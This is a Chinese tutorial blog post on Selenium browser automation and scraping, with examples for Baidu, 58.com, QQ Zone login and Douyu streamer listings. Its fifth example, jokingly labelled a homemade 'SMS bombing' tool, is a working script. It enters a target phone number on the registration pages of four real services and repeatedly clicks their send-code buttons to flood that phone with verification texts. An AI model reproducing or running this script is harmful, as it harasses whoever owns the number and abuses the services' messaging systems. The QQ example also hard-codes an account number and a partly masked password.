(四)Selenium

爬虫中的一些建议

Selenium

Selenium是一个Web的自动化测试工具,最初是为网站自动化测试而开发的,Selenium 可以直接运行在浏览器上,它支持所有主流的浏览器(包括PhantomJS这些无界面的浏览器),可以接收指令,让浏览器自动加载页面,获取需要的数据,甚至页面截屏
https://selenium-python-zh.readthedocs.io/en/latest/waits.html

PhantomJS

PhantomJS 是一个基于Webkit的“无界面”(headless)浏览器,它会把网站加载到内存并执行页面上的 JavaScript
更多请了解https://www.cnblogs.com/fnng/

selenium的安装

sudo pip3 install selenium

phantomJS的安装

下载 http://phantomjs.org/

tar -xvjf phantomjs-2.1.1-linux-x86_64.tar.bz2

sudo cp -r phantomjs-2.1.1-linux-x86_64   /usr/local/share/ 

sudo ln -sf /usr/local/share/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/

Chrome浏览器驱动的安装
http://blog.csdn.net/huilan_same/article/details/51896672

下载对应版本的浏览器驱动

解压后得到驱动的可执行文件,将其拷贝到任意环境变量目录

echo $PATH查看环境变量路径

1.浏览器驱动对象
    
1)库的导入
      from selenium import  webdriver
    
2)创建浏览器对象
      driver = webdriver.xxx()
        
    使用dir(driver)查看方法
3)浏览器尺寸相关操作
        
maximize_window()       最大化

4)浏览器的关闭操作
    close()         关闭当前标签/窗口
    quit()          关闭所有标签/窗口







案例1:请求百度主页

selenium会自动打开谷歌浏览器,

from selenium import webdriver
# 创建浏览器对象
dr = webdriver.Chrome()
# 发送请求
dr.get('http://www.baidu.com/')

# 获取查看源码,不是network中的源码
#print(dr.page_source)
# 获取cookie信息
print(dr.get_cookies()) # 输出cookie信息列表信息
# 获取title
print(dr.title) # 百度一下,你就知道
# 关闭浏览器
# 关闭当前浏览器
dr.close()

案例2:模拟点击58同城 “租房”按钮

我们使用XpathHelper获取租房链接的xpath


from selenium import webdriver

url = 'http://sh.58.com/'
# 构建浏览器对象
dr = webdriver.Chrome()

# 加载url对相应的响应
dr.get(url)

# 获取当前的url,窗口
print(dr.current_url)
print(dr.window_handles)
# 模拟点击房屋出租
el = dr.find_element_by_xpath('/html/body/div[3]/div[1]/div[1]/div/div[1]/div[1]/span[1]/a')
el.click()

执行上述代码就会模拟租房链接的点击
定位标题信息

from selenium import webdriver

url = 'http://sh.58.com/'
# 构建浏览器对象
dr = webdriver.Chrome()

# 加载url对相应的响应
dr.get(url)

# 获取当前的url,窗口
print(dr.current_url)
print(dr.window_handles)
# 模拟点击房屋出租
el = dr.find_element_by_xpath('/html/body/div[3]/div[1]/div[1]/div/div[1]/div[1]/span[1]/a')
el.click()

#点击房屋出租后,会打开新的标签页,需要传入新打开标签页的索引
dr.switch_to.window(dr.window_handles[-1])
print(dr.current_url)
print(dr.window_handles)

# # 定位所有title
node_list = dr.find_elements_by_xpath('/html/body/div[7]/div[2]/ul/li[1]/div[2]/h2/a')
for node in node_list:
    print(node.text, node.get_attribute('href'))

案例3:QQ空间自动登录

from selenium import webdriver
import time
url = 'https://qzone.qq.com/'

# 构建浏览器对象
dr = webdriver.Chrome()

# 访问url
dr.get(url)

# 首先必须要进入内部框架iframe!!!!
# 进入框架的两种方式
# 通过id
# dr.switch_to.frame('login_frame')
# 通过元素定位
el_1 = dr.find_element_by_xpath('//*[@id="login_frame"]')
dr.switch_to.frame(el_1)

# 尝试点击账号密码登录按钮
el = dr.find_element_by_id('switcher_plogin')
el.click()

# 输入账号密码
el_user = dr.find_element_by_id('u')
el_user.send_keys('1131225468')
el_pwd = dr.find_element_by_id('p')
el_pwd.send_keys('188455693*****')
time.sleep(2)
# 点击登录
el_sub = dr.find_element_by_id('login_button')
el_sub.click()

dr.close()
dr.quit()


案例4:斗鱼主播爬虫

爬取房间名称、类型、房主、关注人数、封面信息等
地址https://www.douyu.com/directory/all

from selenium import webdriver
import json,time


"""
目标:斗鱼直播平台
1、爬取房间名称、类型、房主、关注人数、封面信息等
2、使用selenium进行爬取
"""

class Douyu(object):

    def __init__(self):
        self.url = 'https://www.douyu.com/directory/all'
        # 实例化浏览器对象
        self.driver = webdriver.Chrome()
        # 创建文件
        self.file = open('douyu.json','w')

    # 解析数据
    def parse_data(self):
        # 提取房间列表,必须使用elements//*[@id="listAll"]/section[2]/div[2]/ul/li
        node_list = self.driver.find_elements_by_xpath('//*[@id="listAll"]/section[2]/div[2]/ul/li')
        # 测试节点列表
        # print(len(node_list))
        # 定义存储数据的容器
        data_list = []
        # 遍历节点列表
        for node in node_list:
            temp = {}
            # 提取房间的标题/房间类型/房间主人/关注人数/封面
            temp['title'] = node.find_element_by_xpath('./div/a/div[2]/div/h3').text

            temp['category'] = node.find_element_by_xpath('./div/a/div[2]/div[1]/span').text
            temp['owner'] = node.find_element_by_xpath('./div/a[1]/div[2]/div[2]/h2').text
            temp['num'] = node.find_element_by_xpath('./div/a/div[2]/div[2]/span').text
            print(temp)
            # temp['cover'] = node.find_element_by_xpath('./span/img').get_attribute('data-original')

            # temp['link'] = node.get_attribute('href')
            data_list.append(temp)
            # print(temp)
        # 返回数据
        return data_list

    # 保存数据
    def save_data(self,data_list):
        # 遍历列表数据,因为里面存储的是字典类型
        for data in data_list:
            str_data = json.dumps(data,ensure_ascii=False) + ',\n'
            self.file.write(str_data)


    def __del__(self):
        # 关闭浏览器对象
        self.driver.close()
        self.file.close()

    def run(self):
        # 构造url
        # 构造webdriver浏览器对象
        # 发送请求
        self.driver.get(self.url)
        while True:
            # 解析数据,返回数据列表
            data_list = self.parse_data()
            #self.save_data(data_list)
            # 提取下一页链接,模拟点击
            try:
                ele_next_url = self.driver.find_element_by_xpath('//*[@class="dy-Pagination-next"]/span/text()')
                ele_next_url.click()
                time.sleep(7)
            except:
                break


        # 保存数据

if __name__ == '__main__':
    douyu = Douyu()
    douyu.run()

如下图斗鱼主播的数据被成功爬取


案例5:自制”短信轰炸“神器(慎用哦)

#encoding=utf8
from selenium import webdriver
import time
from selenium.webdriver.chrome.options import Options

chrome_options = Options()
chrome_options.add_argument('--headless')
tel = input('tel:')
driver = webdriver.Chrome()
driver.get('https://www.fkw.com/reg.html')
bot1 = driver.find_element_by_id("acct")
bot1.send_keys(tel)
bot2 = driver.find_element_by_id("verifyCodeBtn")
bot2.click()
bot2.click()
bot2.click()
bot2.click()
time.sleep(3)
driver.get('https://console.oray.com/passport/register.html?fromurl=http%3A%2F%2Fdomain.oray.com%2F')
bot1 = driver.find_element_by_xpath('//*[@id="tips-protocol-win"]/div/div/div/div[2]/p/input[1]')
bot1.click()
bot2 = driver.find_element_by_id('mobile')
bot2.send_keys(tel)
bot3= driver.find_element_by_id('re-get')
bot3.click()
bot3.click()
bot3.click()
bot3.click()
time.sleep(3)
driver.get('https://passport.58.com/reg/?path=https%3A//gz.58.com/&PGTID=0d100000-0000-33f9-63ec-9ca2641f5e25&ClickID=3')
bot1 = driver.find_element_by_id('phone')
bot1.send_keys(tel)
bot2 = driver.find_element_by_xpath('/html/body/div[1]/div/div[3]/div[1]/span')
bot2.click()
time.sleep(3)
driver.get('https://id.163yun.com/register?referrer=https://dun.163.com/dashboard&h=yd&t=yd&i18nEnable=true&fromyd=baiduP2_YZM_zcdl3')
bot1 = driver.find_element_by_xpath("//*[@id='bg']/div[2]/div/div/div/div/div/form/div[1]/div[2]/div[2]/div/div/div[1]/div[1]/span")
bot1.send_keys(tel)
bot1 = driver.find_element_by_xpath("//*[@id='bg']/div[2]/div/div/div/div/div/form/div[1]/div[2]/div[2]/div/div/div[1]/div[1]/span")
bot1.click()
bot2 = driver.find_element_by_xpath("//*[@id='bg']/div[2]/div/div/div/div/div/form/div[1]/div[2]/div[3]/div/button")
bot2.click()
bot2.click()
bot2.click()
bot2.click()
time.sleep(3)
driver.close()

你可能感兴趣的:((四)Selenium)